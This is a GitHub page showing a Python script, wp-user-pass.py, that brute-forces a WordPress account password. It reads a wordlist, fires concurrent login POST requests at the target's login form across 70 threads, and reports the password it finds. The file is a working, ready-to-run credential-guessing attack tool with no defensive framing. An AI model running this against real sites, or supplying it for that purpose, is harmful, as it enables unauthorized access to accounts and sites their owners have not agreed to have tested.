-
Notifications
You must be signed in to change notification settings - Fork 0
/
wp-user-pass.py
executable file
·73 lines (53 loc) · 2.17 KB
/
wp-user-pass.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/python3
import requests,sys, os
from termcolor import colored
from checkers import Checker
from banner_and_help import banner, helper
from concurrent.futures import ThreadPoolExecutor
from pwn import *
def make_request(password):
data = {
'log': user,
'pwd': password,
'wp-submit': 'Log In'
}
try:
req = requests.post(url, data=data, timeout=5)
credentials.status(password)
if ('The password field is empty' not in req.text) and ('The password you entered for the username' not in req.text):
credentials.success(password)
print(colored("\n[*] ", 'blue') + " Finished!")
os._exit(0)
except:
pass
# Main program
if __name__ == '__main__':
banner()
if len(sys.argv) == 4:
# Get variables
user = sys.argv[1]
file = sys.argv[2]
url = sys.argv[3]
# Checkr object to check params
checker = Checker(user, file, url)
if checker.check_url():
if checker.check_user():
if checker.check_file():
with open(file, 'r') as wordlist:
print(colored('[*]', 'blue') + ' Starting Attack...\n')
credentials = log.progress(user)
with ThreadPoolExecutor(max_workers=70) as executor:
executor.map(make_request, [password.rstrip() for password in wordlist])
credentials.success(colored('password not found', 'red'))
else:
print(colored("[!] Error: something went wrong when opening the dictionary...", 'blue'))
sys.exit(2)
else:
print(colored("[!] Error: user is not valid...", 'blue'))
sys.exit(2)
else:
print(colored("[!] Error: something went wrong with the target, check if it's up...", 'blue'))
sys.exit(2)
else:
helper(sys.argv[0])
sys.exit(0)